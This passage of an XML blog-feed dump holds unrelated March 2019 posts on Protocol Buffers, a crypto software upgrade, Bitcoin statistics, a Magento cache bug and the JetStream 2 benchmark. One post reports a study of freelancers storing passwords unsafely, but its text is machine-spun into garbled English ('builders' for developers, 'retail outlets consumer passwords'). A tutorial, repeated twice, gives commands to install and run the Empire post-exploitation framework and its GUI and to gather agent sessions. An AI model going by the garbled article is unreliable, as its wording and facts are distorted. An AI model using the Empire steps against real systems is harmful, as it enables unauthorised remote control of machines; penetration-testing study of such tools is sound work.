/><indexedAt>2019-03-27T17:14:38Z</indexedAt><publishedAt>2019-03-27T17:13:56Z</publishedAt><reindexedAt>2019-03-27T17:14:38Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>354130342522692544</blogId><blogName>Just my guilty pleasure reblog.</blogName><blogUrl>https://darkness447faves.wordpress.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>3933849747822721984</id><author>dm03514</author><url>https://medium.com/dm03514-tech-blog/scaling-services-explicit-data-contracts-using-protocol-buffers-5ce7041347e6?source=rss----9135414d39d---4</url><title>Scaling Services: Explicit Data Contracts Using Protocol Buffers</title><text>Explicit service data contracts provide safety, uniformity, and self documentation. Explicit contracts remove the need for large classes of validation/decoding tests from an application by outsourcing them to a separate library. Protocol Buffers (protobufs) provide a language agnostic way to structure data which allows for distributing a schema in order to ensure that all services are able to serialize/deserialize data. A language agnostic data representation, such as Protocol Buffers, removes the need for large classes of contract testing and provides a foundation for RPC frameworks, automatic client generation and automatic documentation generation. Explicit contracts remove the need for much of the manual data validation inherent in implicit data schemas, which does not provide any competitive advantage nor differentiates us. Protocol Buffers minimize the amount of time necessary to writing, update and/or reason about data serialization, structure and validation. ProblemConsider two applications that communicate with each other using JSON over HTTP: The only thing that strongly binds these services together is HTTP. If Service 1 doesn’t speak HTTP and/or Service 2 doesn’t speak HTTP, neither of these services will be able to communicate. The explicit relationship stops at the protocol level: Service 1 can send ANY data it wants to Service 2, and the onus is on Service 2 to make a decision about what is valid or not. When Service 1 sends data over HTTP to Service 2 it won’t receive feedback until Service 2 tries to interpret (deserialize) the data: This results in an extremely long feedback loop and tight data coupling (with a loose/weak enforcement) between Service 1 and Service 2. It’s not until that Service 2 is running that the contract can be enforced: ie Service 2 is necessary in order to have feedback on if the data provided is valid or not. The goal of an explicit service payload is to extend the level of protection to the data level, drastically shortening the feedback loop and protecting the client as well as the server. Tools like Pact shorten the feedback loop at the expense of CI and build complexity, and enforcing a tighter coupling between Service 1 and Service 2 in CI. Pact also doesn’t cover protecting the client at runtime. The diagram of Service 1 and Service 2 shows that there is no connection data connection shows that there is only an implicit relationship. Service one serializes and sends some data, service two interprets and validates that data at runtime. The lack of a formal enforceable contract, which explicitly links the client and the server increases the chance of schema drift and contract errors. It opens the possibility of a service introducing a backwards incompatible change by mutating the schema and the other service doesn’t discover it until runtime. Relying on an implicit structure opens services up to backwards incompatible changes, lack of shared tooling, and necessity to do manual parsing/validation for potentially each service/language/framework. The rest of the post will look at how Protocol Buffers can be used to address each one of these issues: Protocol BuffersProtocol Buffers addresses the issues above through explicitly defining a data schema and having all dependent services serialize and deserialize data using that schema. Using Protocol Buffers Service 1 no longer depends on Service 2 to provide feedback on the data payload. Both depend on an enforceable schema: The allows Service 1 to have immediate feedback when serializing data against the payload contract (modeled in protobuf .proto file). The implicit unenforceable data coupling between Service 1 and Service 2 has been removed. By removing the coupling, which is runtime dependent, Service 1 and Service 2 can significantly reduce feedback time on data schema validation: The Service 1 client is no longer dependent on Service 2 at all to get feedback on the valid contract! The feedback on data schema can be enforced as early as local testing, and can be incorporated as early as the Development stage (because the schema is represented concretely in a .proto file). Protocol Buffers achieves the benefits above by requiring an explicit schema, an example of which is below: message Person {   required string name = 1;      required int32 id = 2;      optional string email = 3;  }One thing to note is that the Protocol Buffers operates at the data level. It is only focused on enforcing data structure and types, and not how that data is being used by the service. Having an abstract data schema is foundational to providing advanced capabilities such as RPC frameworks, enforceable functional contracts (includes request method types and responses), documentation generators, and automated client generators. By having an explicit contract Protocol Buffers pave the way may features to support Scaling Services: Runtime Client/Server FeedbackProtocol Buffers enable explicit contract on both the client and server during runtime. The client gets explicit feedback on validity during serialization (using protobufjs): const person = {   name: "hi",   id: 1,   email: "hi@auth0.com" };const err = Person.verify(person); if (err) {   // invalid data!!! client enforceable   throw new Error(err) }const m = Person.create(person) // encode for over the wire payload const payload = Person.encode(m).finish();The server achieves the same thing during decoding: try {      const m = Person.decode(payload)  } catch (e) {      if (e instanceof protobuf.util.ProtocolError) {          // invalid data!!! server enforceable,      // no custom payload validation necessary      }  }Protocol buffers enables protection for the client that is not achievable using an implicit data strategy. It completely reduces the need for any payload parsing or validation on the server side. Removal of Data Structure and Type ValidationThe examples above illustrate the steps required to serialize and deserialize data. All logic around datatypes and parsing are outsourced to the language specific protobuf libraries. This provides each client and service with free structure and type validation. One interesting thing to note is that enforceable data is at the payload level. It will not remove the need for application specific validation. For example it’s able to guarantee a certain field is a string but the application may need additional assurances on top of that, perhaps around length, or allowed characters. TestingContract tests can be achieved by storing the protobuf schema (.proto) files in a shared location (ie github repo), which allows for both client and server to reference the most recent version of the data schema. During tests the client and server will have immediate feedback on backwards incompatible schema changes, or a breach of data contract. This allows teams to have feedback around data validity during local testing, reducing a huge amount of time to get feedback. Backwards Compatibility / Contract DriftBackwards compatibility is a concept baked into Protocol Buffers and achieved through field numbers and default values. Each field inside of Protocol Buffers should have a unique incrementing number. Always incrementing/adding a new field and number and never mutating an already existing number removes the chance that a field will change for a client. When an update needs to occur to a schema, a new field is added. The client can continue to write to the old field and new field until all dependencies are upgraded at which point the client can stop writing to the old field. Having clear rules around updating data minimizes the risk of introducing backwards compatible changes. Documentation/ToolingProtocol Buffers are self descriptive lending well to documenting themselves. Consider a JSON based service. Many times the rules around interpreting data are located in the server code behind a framework specific api. If the service doesn’t expose OpenAPI or Swagger artifacts users would have to look in the server code whenever there were questions about types or data structure and validity. Contrast this with Protocol Buffers where the data structure is explicitly available in a the .proto file. Using the Person example above: message Person {   required string name = 1;      required int32 id = 2;      optional string email = 3;  }It’s obvious what data is required and what data is optional to model a Person. It exists outside of both clients and servers and is unambiguous what fields are required, and their types. Having a structured uniform data representation is also foundational for advanced tooling such as automated documentation generators, RPC frameworks, and automated client libraries. ConclusionThis post explores the advantages of explicit data structure using Protocol Buffers as they compare to JSON. As with everything, there’s no silver bullet. Protocol Buffers both client and server with stronger guarantees about data structure and types but comes with its own tradeoffs. Protocol Buffers do achieve modeling explicit data structures, which provide both client and server with a contract on what constitutes valid data. This contract can then be used to significantly reduce the feedback loop on payload validity and help to decouple client and server in terms of payload validation. Resourceshttps://codeclimate.com/blog/choose-protocol-buffers/https://auth0.com/blog/beating-json-performance-with-protobuf/https://developers.google.com/protocol-buffers/Scaling Services: Explicit Data Contracts Using Protocol Buffers was originally published in Dm03514 Tech Blog on Medium, where people are continuing the conversation by highlighting and responding to this story.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://developers.google.com/protocol-buffers</link><link>https://docs.pact.io/</link><link>https://www.npmjs.com/package/protobufjs</link><link>https://developers.google.com/protocol-buffers/docs/proto3#assigning-field-numbers</link><link>https://developers.google.com/protocol-buffers/docs/proto3#default</link><link>https://developers.google.com/protocol-buffers/docs/proto#updating</link><link>https://www.github.com/pseudomuto/protoc-gen-doc/blob/master/examples/doc/example.md</link><link>https://www.grpc.io/</link><link>https://www.codeclimate.com/blog/choose-protocol-buffers</link><link>https://www.auth0.com/blog/beating-json-performance-with-protobuf</link><link>https://developers.google.com/protocol-buffers</link><link>https://www.medium.com/dm03514-tech-blog/scaling-services-explicit-data-contracts-using-protocol-buffers-5ce7041347e6</link><link>https://www.medium.com/dm03514-tech-blog</link></links><tags><tag>software-engineering</tag><tag>software-testing</tag><tag>software-architecture</tag><tag>software-development</tag><tag>software</tag></tags><images /><indexedAt>2019-03-27T17:19:22Z</indexedAt><publishedAt>2019-03-27T17:10:29Z</publishedAt><reindexedAt>2019-03-27T17:19:22Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>8585249946879391354</blogId><blogName>Dm03514 Tech Blog - Medium</blogName><blogUrl>https://medium.com/dm03514-tech-blog?source=rss----9135414d39d---4</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>2768972193292222726</id><author>Rizwan Ahmed Shivalli</author><url>https://techlatestnews3.blogspot.com/2019/03/new-show-hacker-news-story-show-hn_873.html</url><title>New Show Hacker News story: Show HN: Simple gdb debugging of CPython extensions</title><text>Show HN: Simple gdb debugging of CPython extensions 2 by mjbryant | 0 comments on Hacker News.</text><languageCode>en</languageCode><locationCode>kr</locationCode><coordinates /><links><link>https://www.github.com/mjbryant/python-extension-gdb-example</link><link>https://news.ycombinator.com/item?id=19502873</link></links><tags><tag>Hacker News</tag></tags><images /><indexedAt>2019-03-27T18:20:15Z</indexedAt><publishedAt>2019-03-27T17:09:00Z</publishedAt><reindexedAt>2019-03-27T18:20:15Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>2429168875849863859</blogId><blogName>Technology News</blogName><blogUrl>https://techlatestnews3.blogspot.com/</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>18396485696896008565</id><author>Admin</author><url>https://redfoxnews.us/programmers-who-dont-understand-security-are-poor-at-security/</url><title>Programmers Who Don’t Understand Security Are Poor at Security</title><text>Programmers Who Don’t Understand Security Are Poor at Security
  

Programmers Who Don’t Understand Security Are Poor at Security
A college learn about showed the most obvious: should you pay a random bunch of freelance programmers a small amount of cash to write down safety device, they are no longer going to do an excellent task at it. 

In an experiment that concerned 43 programmers employed by way of the Freelancer.com platform, University of Bonn lecturers have found out that builders generally tend to take the straightforward manner out and write code that retail outlets consumer passwords in an unsafe means. 
For their learn about, the German lecturers requested a bunch of 260 Java programmers to write down a consumer registration machine for a pretend social community. 
Of the 260 builders, most effective 43 took up the task, which concerned the usage of applied sciences comparable to Java, JSF, Hibernate, and PostgreSQL to create the consumer registration element. 
Of the 43, lecturers paid part of the crowd with €100, and the opposite part with €200, to decide if upper pay made a distinction within the implementation of password safety features. 
Further, they divided the developer workforce a 2nd time, prompting part of the builders to retailer passwords in a protected means, and leaving the opposite part to retailer passwords of their most well-liked manner — therefore forming 4 quarters of builders paid €100 and induced to make use of a protected password garage manner (P100), builders paid €200 and induced to make use of a protected password garage manner (P200), devs paid €100 however no longer induced for password safety (N100), and the ones paid €200 however no longer induced for password safety (N200). 

I have no idea why any person would be expecting this workforce of other people to put in force a excellent protected password machine. I am positive they grabbed the very first thing they discovered on GitHub that did the task. 
Tags: incentives, programming, psychology of safety, safety engineering 
Posted on March 27, 2019 at  6:37 AM 
	 • 
	16 Comments 

The post Programmers Who Don’t Understand Security Are Poor at Security appeared first on .</text><languageCode>en</languageCode><locationCode>us</locationCode><coordinates /><links><link>https://www.zdnet.com/article/study-shows-programmers-will-take-the-easy-way-out-and-not-implement-proper-password-security</link><link>https://www.schneier.com/cgi-bin/mt/mt-search.cgi?search=incentives&amp;__mode=tag&amp;IncludeBlogs=2&amp;limit=10&amp;page=1</link><link>https://www.schneier.com/cgi-bin/mt/mt-search.cgi?search=programming&amp;__mode=tag&amp;IncludeBlogs=2&amp;limit=10&amp;page=1</link><link>https://www.schneier.com/cgi-bin/mt/mt-search.cgi?search=psychology of security&amp;__mode=tag&amp;IncludeBlogs=2&amp;limit=10&amp;page=1</link><link>https://www.schneier.com/cgi-bin/mt/mt-search.cgi?search=security engineering&amp;__mode=tag&amp;IncludeBlogs=2&amp;limit=10&amp;page=1</link><link>https://www.schneier.com/blog/archives/2019/03/programmers_who.html</link></links><tags><tag>Home</tag><tag>Others News</tag><tag>dont</tag><tag>poor</tag><tag>Programmers</tag><tag>Security</tag><tag>Understand</tag></tags><images /><indexedAt>2019-03-27T17:40:25Z</indexedAt><publishedAt>2019-03-27T17:07:30Z</publishedAt><reindexedAt>2019-03-27T17:40:25Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>7554762066099978842</blogId><blogName>https://redfoxnews.us/feed/</blogName><blogUrl>https://redfoxnews.us</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>2408626413154813354</id><author>blogkryptomarket</author><url>https://blog.kryptomarketcoin.com/2019/03/27/mandatory-software-upgrade-zen-2-0-17/</url><title>Mandatory Software Upgrade: ZEN 2.0.17</title><text>This post was originally shared on the ZenCash Blog. 
New ZEN software (2.0.17) soon available for download.
A new version of ZEN (2.0.17) is scheduled for release on the 8th of April. All exchanges, mining pools, node operators, and full node wallet users must upgrade to ZEN 2.0.17 prior to block #505212, which will occur around the 26th of April.
ZEN 2.0.17 replaces the current version 2.0.16, which is set to deprecate (no longer run). 
The focus of this version is the introduction of the transaction confirmation finality RPC method, the blockmaxcomplexity parameter, and the fix of the Horizen shielded address display bug. 
In particular, the transaction confirmation finality RPC method gives an indication of the amount of blocks that need to be mined to revert a transaction. This method also considers eventual existing forks, and it’s in line with the system implemented today. 
The blockmaxcomplexity parameter limiting transaction inputs for GetBlockTemplate brings improvements to speed up execution time of the GetBlockTemplate RPC call. 
Finally, with this software release, we are implementing the fix of the Horizen shielded address display bug, that could cause a potential error in the displayed amount of available funds in shielded sprout addresses. 
The next software upgrade (2.1.0) will bring the full implementation of Sapling and other features to be announced. 
Please update your ZEN software before the 26th of April. The new 2.0.17 version will be available at https://github.com/ZencashOfficial/zen/releases/latest or through the APT repository on the 8th of April. 


UPDATES ON ZEN 2.0.17



TX confirmation finality RPC method;
blockmaxcomplexity parameter limiting tx inputs for GetBlockTemplate speedup;
fix of the Horizen shielded address display bug.

What happens if you do not upgrade before the 26th of April? 

Exchanges and Partners: you will not be able to access your funds until you upgrade to the latest version.
Pool operators: ZEND will not work and thus you will not be able to mine ZEN until you upgrade to ZEN 2.0.17.
Node operators: ZEND will not work and thus you will not be eligible to earn ZEN until you upgrade to ZEN 2.0.17.
Full node wallet users (Swing wallet, Sphere by Horizen): you will not be able to access your funds until you upgrade to the latest wallet version.

Additional notices will be shared when the release is available. 
Please let us know if you have any questions. Thank you for your continued support! 

RESOURCES:
Horizen Website  Horizen Blog Horizen Twitter Horizen Reddit Horizen Facebook Page Horizen YouTube Channel Horizen Telegram Horizen Discord Horizen Github Horizen Forum Horizen on Bitcointalk Horizen Roadmap Horizen Block Explorer Horizen Secure Nodes Horizen Super Nodes Flagship App: Horizen by Sphere 
The post Mandatory Software Upgrade: ZEN 2.0.17 appeared first on Horizen. 
 
To read more from ZenCash follow this link.</text><languageCode>en</languageCode><locationCode /><coordinates /><links><link>https://blog.zencash.com/horizen-shielded-address-display-updates</link><link>https://www.github.com/ZencashOfficial/zen/releases/latest</link><link>https://horizen.global/</link><link>https://blog.zencash.com/</link><link>https://www.twitter.com/horizenglobal</link><link>https://www.reddit.com/r/horizen</link><link>https://www.facebook.com/horizenglobal</link><link>https://www.youtube.com/c/horizen</link><link>https://www.t.me/horizencommunity</link><link>https://www.discord.gg/mGn4m3</link><link>https://www.github.com/ZencashOfficial</link><link>https://forum.horizen.global/</link><link>https://www.bitcointalk.org/index.php?topic=2047435.0</link><link>https://horizen.global/roadmap</link><link>https://explorer.zensystem.io/</link><link>http://horizen.global/securenodes</link><link>http://horizen.global/supernodes</link><link>https://horizen.global/spherebyhorizen</link><link>https://blog.zencash.com/mandatory-software-upgrade-zen-2-0-17</link><link>https://blog.zencash.com/</link><link>https://www.zencash.com/</link></links><tags><tag>Bitcoin</tag><tag>Blockchain</tag><tag>Coins</tag><tag>Ethereum</tag><tag>Litecoin</tag><tag>Mining</tag><tag>Prices</tag><tag>Regulation</tag><tag>Ripple</tag></tags><images /><indexedAt>2019-03-27T17:54:36Z</indexedAt><publishedAt>2019-03-27T17:06:22Z</publishedAt><reindexedAt>2019-03-27T17:54:36Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>8553179764929472935</blogId><blogName>Blog Krypto Market Coin</blogName><blogUrl>https://blog.kryptomarketcoin.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>3519555679266944155</id><author>Career Portal</author><url>http://hackersgeeks.blogspot.com/2019/03/empire-gui-graphical-interface-to_27.html</url><title>Empire GUI: Graphical Interface to the Empire Post-Exploitation Framework</title><text>This is our 8th post in the series of the empire which covers how to use empire as GUI. Empire has a great GUI mechanism, but it’s still developing as it has been released just a while back. For empire GUI to work, we need to download all of its dependencies and this is where it gets a bit complicated. So, first of all, we will download the beta 3.0 version of empire as it’s the only version compatible with the GUI. Using the following commands:  git init git remote add -t "3.0-beta" -f origin "https://github.com/EmpireProject/Empire"  Now run the following command as instructed on the GitHub page :  git checkout 3.0-Beta  Now to install the beta version, type the following command :  ./setup/install.sh  Now to run empire use the following as it will link the command line to GUI version :  ./empire –server –shared_password 12345 –port 1337  And as shown in the image below, the Empire will start.  Now, download the GUI of empire from GitHub using the following command :  git clone https://github.com/EmpireProject/EmpireGUI.git  Now that GUI of empire and the beta version of empire has been downloaded, we need to install its dependencies for it to work successfully. And for that, we will have to download nodejs first and to download it, type :  apt install nodejs And in time, it will be installed as shown in the image below :  After nodejs, we have to download npm and for that type :  apt install npm  As its download, like in the image above, now run the following command in order to install it :  npm install  And then start the npm service, as shown in the image below, with the following command :  npm start  After all this, the GUI od empire will start as shown in the image below :  Moving further once the GUI of empire is up and running, create a stager and get an agent from the beta version of empire, while getting a session, remember to use port 1337 as that is the port the GUI works on.  Now, on the GUI, log in using your IP and port and other details as shown in the image below :  And as you will login, it will show you all the sessions you have, just like in the image below : Here, all the shell commands will work as shown in the image above. As the GUI is still developing, we can’t use it for post exploitations. But it, it comes pretty handy in order to manage multiple sessions and it helps you understand it’s working better.  Author: Sanjeet Kumar is an Information Security Analyst | Pentester | Researcher  Contact Here The post Empire GUI: Graphical Interface to the Empire Post-Exploitation Framework appeared first on Hacking Articles.   from Hacking Articles https://ift.tt/2HMCxke</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.linkedin.com/in/sanjeet-kumar-27828058</link><link>https://www.hackingarticles.in/empire-gui-graphical-interface-to-the-empire-post-exploitation-framework</link><link>https://www.hackingarticles.in/</link></links><tags><tag>Hacking Articles</tag><tag>learn hackig</tag></tags><images /><indexedAt>2019-03-27T17:13:40Z</indexedAt><publishedAt>2019-03-27T17:04:00Z</publishedAt><reindexedAt>2019-03-27T17:13:40Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>18107799419002343179</blogId><blogName>ETHICAL HACKER BEGINNER</blogName><blogUrl>http://hackersgeeks.blogspot.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>10063595696735785086</id><author>Career Portal</author><url>http://hackersgeeks.blogspot.com/2019/03/empire-gui-graphical-interface-to.html</url><title>Empire GUI: Graphical Interface to the Empire Post-Exploitation Framework</title><text>This is our 8th post in the series of the empire which covers how to use empire as GUI. Empire has a great GUI mechanism, but it’s still developing as it has been released just a while back. For empire GUI to work, we need to download all of its dependencies and this is where it gets a bit complicated. So, first of all, we will download the beta 3.0 version of empire as it’s the only version compatible with the GUI. Using the following commands:  git init git remote add -t "3.0-beta" -f origin "https://github.com/EmpireProject/Empire"  Now run the following command as instructed on the GitHub page :  git checkout 3.0-Beta  Now to install the beta version, type the following command :  ./setup/install.sh  Now to run empire use the following as it will link the command line to GUI version :  ./empire –server –shared_password 12345 –port 1337  And as shown in the image below, the Empire will start.  Now, download the GUI of empire from GitHub using the following command :  git clone https://github.com/EmpireProject/EmpireGUI.git  Now that GUI of empire and the beta version of empire has been downloaded, we need to install its dependencies for it to work successfully. And for that, we will have to download nodejs first and to download it, type :  apt install nodejs And in time, it will be installed as shown in the image below :  After nodejs, we have to download npm and for that type :  apt install npm  As its download, like in the image above, now run the following command in order to install it :  npm install  And then start the npm service, as shown in the image below, with the following command :  npm start  After all this, the GUI od empire will start as shown in the image below :  Moving further once the GUI of empire is up and running, create a stager and get an agent from the beta version of empire, while getting a session, remember to use port 1337 as that is the port the GUI works on.  Now, on the GUI, log in using your IP and port and other details as shown in the image below :  And as you will login, it will show you all the sessions you have, just like in the image below : Here, all the shell commands will work as shown in the image above. As the GUI is still developing, we can’t use it for post exploitations. But it, it comes pretty handy in order to manage multiple sessions and it helps you understand it’s working better.  Author: Sanjeet Kumar is an Information Security Analyst | Pentester | Researcher  Contact Here The post Empire GUI: Graphical Interface to the Empire Post-Exploitation Framework appeared first on Hacking Articles.   from Hacking Articles https://ift.tt/2HMCxke</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.linkedin.com/in/sanjeet-kumar-27828058</link><link>https://www.hackingarticles.in/empire-gui-graphical-interface-to-the-empire-post-exploitation-framework</link><link>https://www.hackingarticles.in/</link></links><tags><tag>hackers and security</tag><tag>Hacking Articles</tag></tags><images /><indexedAt>2019-03-27T17:13:40Z</indexedAt><publishedAt>2019-03-27T17:04:00Z</publishedAt><reindexedAt>2019-03-27T17:13:40Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>18107799419002343179</blogId><blogName>ETHICAL HACKER BEGINNER</blogName><blogUrl>http://hackersgeeks.blogspot.com</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>4951178096926611027</id><author>mikeyoung318</author><url>https://mycryptofeed.wordpress.com/2019/03/27/bitcoin-network-status-update-wednesday-march-27-2019/</url><title>Bitcoin Network Status Update Wednesday, March 27, 2019</title><text>Status of the Bitcoin network as of Wednesday, March 27, 2019 at 12:00:01 EST:
Total bitcoins: 17,612,958.544972 
Height: 569,043 
Difficulty: 6,379,265,451,411.052734 
Statistics for the past 24 hours:
Number of blocks mined: 145 
Total bitcoins output (amount sent): 1,367,156.410279 
Total fees: 47.576237 
Average time until block found: 9 minutes, 55 seconds 
Estimated hashrate: 45,981,675,795.855179 gh/s 
Current price: US$4,011.03 
Data provided by Smartbit.com.au. Price data provided by Coinbase.com. 

I am a bot. My commands | /r/crypto_bot | Message my creator | Source code 
 
   submitted by    /u/crypto_bot    [link]   [comments] 
from Bitcoin – The Currency of the Internet https://ift.tt/2WpHSBd 
via IFTTT https://ift.tt/eA8V8J</text><languageCode>en</languageCode><locationCode>jp</locationCode><coordinates /><links><link>https://www.smartbit.com.au/</link><link>https://www.coinbase.com/</link><link>https://www.reddit.com/r/Bitcoin/comments/3an2c4/ive_been_working_on_a_bot_for_crypto_subs_like</link><link>https://www.reddit.com/message/compose?to=busterroni</link><link>https://www.github.com/busterroni/crypto_bot</link><link>https://www.reddit.com/user/crypto_bot</link><link>https://www.reddit.com/r/Bitcoin/comments/b661ig/bitcoin_network_status_update_wednesday_march_27</link><link>https://www.reddit.com/r/Bitcoin/comments/b661ig/bitcoin_network_status_update_wednesday_march_27</link><link>https://www.ift.tt/2WpHSBd</link><link>https://www.ifttt.com/?ref=da&amp;site=wordpress</link><link>https://www.ift.tt/eA8V8J</link></links><tags><tag>Bitcoin</tag><tag>Posts</tag><tag>IFTTT</tag><tag>Bitcoin - The Currency of the Internet</tag></tags><images /><indexedAt>2019-03-27T17:50:01Z</indexedAt><publishedAt>2019-03-27T17:01:30Z</publishedAt><reindexedAt>2019-03-27T17:50:01Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>12215707995260954555</blogId><blogName>Crypto Feed</blogName><blogUrl>https://mycryptofeed.wordpress.com</blogUrl><blogRank>1</blogRank><authority>4</authority></post><post><id>16377347852033217508</id><author /><url>https://techutils.in/blog/2019/03/27/stackbounty-magento2-fpc-doesnt-work-in-magento-2-3/</url><title>#StackBounty: #magento2 FPC doesn't work in Magento 2.3</title><text>Bounty: 50
Customer account link broken after crawl. Run site check in woorank.com. Customer account create link will throw 404 error. Works fine when FPC is disabled. This issue has been pending for long time. Does this mean this is not critical to Magento? Is there a workaround or patch for this issue? 
https://github.com/magento/magento2/issues/20255 
 

Get this bounty!!!</text><languageCode>en</languageCode><locationCode>pw</locationCode><coordinates /><links><link>https://www.github.com/magento/magento2/issues/20255</link><link>https://magento.stackexchange.com/questions/266774/fpc-doesnt-work-in-magento-2-3</link></links><tags><tag>bountyKills</tag><tag>stackoverflow.com</tag><tag>magento2</tag></tags><images /><indexedAt>2019-03-27T17:01:03Z</indexedAt><publishedAt>2019-03-27T17:00:31Z</publishedAt><reindexedAt>2019-03-27T17:01:03Z</reindexedAt><inlinksCount>0</inlinksCount><blogId>892022953464597301</blogId><blogName>TechUtils.in</blogName><blogUrl>https://techutils.in</blogUrl><blogRank>1</blogRank><authority>0</authority></post><post><id>9187018958745722675</id><author /><url>https://webkit.org/blog/8685/introducing-the-jetstream-2-benchmark-suite/</url><title>Introducing the JetStream 2 Benchmark Suite</title><text>Today we are announcing a new version of the JetStream JavaScript benchmark suite, JetStream 2. JetStream 2 combines a variety of JavaScript and WebAssembly benchmarks, covering an array of advanced workloads and programming techniques, and reports a single score that balances them using a geometric mean. JetStream 2 rewards browsers that start up quickly, execute code quickly, and run smoothly. Optimizing the overall performance of our JavaScript engine has always been a high priority for the WebKit team. We use benchmarks to motivate wide-reaching and maintainable optimizations to the WebKit engine, often leading us to make large architectural improvements, such as creating an entirely new optimizing compiler, B3, in 2015. JetStream 2 mixes together workloads we’ve been optimizing for years along with a new set of workloads we’ll be improving for years to come. 
When we released JetStream 1 in 2014, it was a cross-cutting benchmark, measuring the performance of the latest features in the JavaScript ecosystem, at that time. One of our primary goals with JetStream 1 was to have a single benchmark we could use to measure overall JavaScript performance. However, since 2014, a lot about the JavaScript ecosystem has changed. Two of the major changes were the release of an extensive update to the JavaScript language in ES6, and the introduction of an entirely new language in WebAssembly. Even though we created JetStream 1 as a benchmark to track overall engine performance, we found ourselves creating and using new benchmarks in the years since its release. We created ARES-6 in 2017 to measure our performance on ES6 workloads. For the last two years, we’ve also tracked two WebAssembly benchmarks internal to the WebKit team. In late 2017, the V8 team released Web Tooling Benchmark, a benchmark we’ve used to improve regular expression performance in JavaScriptCore. Even though JetStream 1 was released after Kraken, we found ourselves continuing to track Kraken after its release because we liked certain subtests in it. In total, prior to creating JetStream 2, the WebKit team was tracking its performance across six different JavaScript and WebAssembly benchmarks. 
Gating JavaScriptCore’s performance work on a relative ordering of six different benchmark suites is impractical. It proved non-obvious how to evaluate the value of a change based on the collective results of six different benchmark suites. With JetStream 2, we are moving back to having a single benchmark — which balances the scores of its subtests to produce a single overall score — to measure overall engine performance. JetStream 2 takes the best parts of these previous six benchmarks, adds a group of new benchmarks, and combines them into a single new benchmark suite. JetStream 2 is composed of: 

Almost all JetStream 1 benchmarks.
New benchmarks inspired by subtests of Kraken.
All of ARES-6.
About half of the Web Tooling Benchmark.
New WebAssembly tests derived from the asm.js benchmarks of JetStream 1.
New benchmarks covering areas not tested by the other six benchmark suites.

New Benchmarks
JetStream 2 adds new benchmarks measuring areas not covered by these previous benchmark suites. An essential component of JetStream 1 was the asm.js subset of benchmarks. With the release of WebAssembly, the importance of asm.js has lessened since many users of asm.js are now using WebAssembly. We converted many of the asm.js benchmarks from JetStream 1 into WebAssembly in JetStream 2. We also created a few new WebAssembly benchmarks. One such new test is richards-wasm, which models a hybrid JS and WebAssembly application. Richards-wasm is an implementation of Martin Richard’s system language benchmark that is implemented partially in WebAssembly and partially in JavaScript. The benchmark models a JavaScript application that frequently calls into helper methods defined in WebAssembly. 
JetStream 2 adds two new Web Worker tests. It’s essential for JetStream 2 to measure Web Worker performance given how popular they are across the web. The first worker benchmark we created is bomb-workers. Bomb-workers runs all of SunSpider in parallel — so it stresses how well the browser handles running a lot of JavaScript in parallel. The second benchmark we created is segmentation. Segmentation runs four Web Workers in parallel to compute the time series segmentation over a sample data set. This benchmark is derived from the same algorithm used in WebKit’s performance dashboard. 
JetStream 2 adds three new benchmarks emphasizing regular expression performance: OfflineAssembler, UniPoker, and FlightPlanner. UniPoker and FlightPlanner stress the performance of Unicode regular expressions — a feature that was new in ES6. OfflineAssembler is the JavaScriptCore offline assembler parser and AST generator translated from Ruby into JavaScript. UniPoker is a 5 card stud poker simulation using the Unicode code points for playing cards to represent card values. FlightPlanner parses aircraft flight plans that consist of named segments, e.g. takeoff, climb, cruise, etc, that include waypoints, airways, or directions and times, and then processes those segments with an aircraft profile to compute course, distance and forecast times for each resulting leg in the flight plan, as well as the total flight plan. It exercises Unicode regular expression code paths because the segment names are in Russian. 
JetStream 2 also adds two new general purpose JavaScript benchmarks: async-fs and WSL. Async-fs models performing various file system operations, such as adding and removing files, and swapping the byte-order of existing files. Async-fs stresses the performance of DataView, Promise, and async-iteration. WSL is an implementation of an early version of WHLSL — a new shading language proposal for the web. WSL measures overall engine performance, especially stressing various ES6 constructs and throw. 
You can read about each benchmark in JetStream 2 in the summary page. 
Benchmarking Methodology
Each benchmark in JetStream 2 measures a distinct workload, and no single optimization technique is sufficient to speed up all benchmarks. Some benchmarks demonstrate tradeoffs, and aggressive or specialized optimizations for one benchmark might make another benchmark slower. Each benchmark in JetStream 2 computes an individual score. JetStream 2 weighs each benchmark equally. 
When measuring JavaScript performance on the web, it’s not enough to just consider the total running time of a workload. Browsers may perform differently for the same JavaScript workload depending on how many times it has run. For example, garbage collection runs periodically, making some iterations take longer than others. Code that runs repeatedly gets optimized by the browser, so the first iteration of any workload is usually more expensive than the rest. 
For this reason, JetStream 1 categorized each benchmark into one of two buckets: latency or throughput. Latency tests either measured startup performance or worst case performance. Throughput tests measured sustained peak performance. Like JetStream 1, JetStream 2 measures startup, worst case, and peak performance. However, unlike JetStream 1, JetStream 2 measures these metrics for every benchmark. 
JetStream 2 scores JavaScript and WebAssembly differently. For all but one of the JavaScript benchmarks in JetStream 2, individual benchmark scores equally weigh startup performance, worst case performance, and average case performance. These three metrics are crucial to running performant JavaScript in the browser. Fast startup times lead browsers to loading pages more quickly and allow users to interact with the page sooner. Good worst case performance ensures web applications run without hiccups or visual jank. Fast average case performance makes it so that the most advanced web applications can run at all. To measure these three metrics, each of these benchmarks run for N iterations, where N is usually 120, but may vary based on the total running time of each iteration. JetStream 2 reports the startup score as the time it takes to run the first iteration. The worst case score is the average of the worst M iterations, excluding the first iteration. M is always less than N, and is usually 4. For some benchmarks, M can be less than 4 when N is smaller than 120. The average case score is the average of all but the first of the N iterations. These three metrics are weighed equally using the geometric mean. 
